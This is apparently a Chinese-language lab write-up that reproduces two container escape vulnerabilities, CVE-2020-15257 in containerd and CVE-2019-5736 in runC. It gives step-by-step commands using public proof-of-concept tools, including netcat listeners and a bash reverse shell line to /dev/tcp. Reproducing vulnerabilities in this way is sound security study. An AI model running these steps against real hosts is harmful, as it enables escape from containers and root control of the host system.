概述
虚拟化逃逸指的是突破虚拟机或者容器的限制,实现与宿主机操作系统交互的一个过程,攻击者可以通过虚拟化逃逸感染宿主机或者在宿主机上运行恶意软件。
CVE-2020-15257
containerd在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
环境搭建
下载指定的docker版本,参考这篇,这里选择docker-ce=5:19.03.8~3-0~ubuntu-xenial 版本
下载完输入docker version 查看containerd 的版本信息,如发现该版本不在1.3.9和1.4.3之前 则需替换对应的版本,输入 apt-cache madison containerd.io 查看可安装的版本,
复现
下载poc
https://github.com/Xyntax/CDK/releases/tag/0.1.6
运行一个容器
docker run -it --net=host ubuntu:18.04 /bin/bash
查看docker宿主机内核版本:将与内核类型对应的poc复制到虚拟机的容器中
docker cp cdk_linux_386 容器ID:/tmp
在监听侧进行监听
nc -lvvp 4444
在容器内执行poc
./cdk_linux_386 run shim-pwn 10.0.2.15 4444
CVE-2019-5736
漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
复现
参考上文安装指定的docker,可能出现的问题
查看版本是否正确
sudo systemctl start docker $ docker info
下载poc
git clone https://github.com/agppp/cve-2019-5736-poc
编辑stage2.c文件,修改shell代码,设置反弹到本地的ip和端口:
#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.0.2.15/4444 0>&1 &\n
编译环境:
docker build -t cve .
然后运行命令:
docker run -d cve /bin/bash -c "tail -f /dev/null"
然后进入容器内:
查看容器ID:docker ps
进入容器:docker exec -it 查看容器ID /bin/bash
到root目录下,运行run.sh脚本,注意libseccomp版本要保持一致,如不一致可直接修改对应的文件夹名
在监听端开启监听
nc -lvvp 4444
退出容器然后再重新进入容器,漏洞被触发,shell反弹过来
参考
[1] Docker容器逃逸漏洞复现(CVE-2020-15257 - 哔哩哔哩
[2]CVE-2020-15257:Containerd虚拟环境逃逸复现 - 云+社区 - 腾讯云
[3]CVE-2020-15257 Docker逃逸漏洞复现 | CN-SEC 中文网
1019

被折叠的 条评论
为什么被折叠?



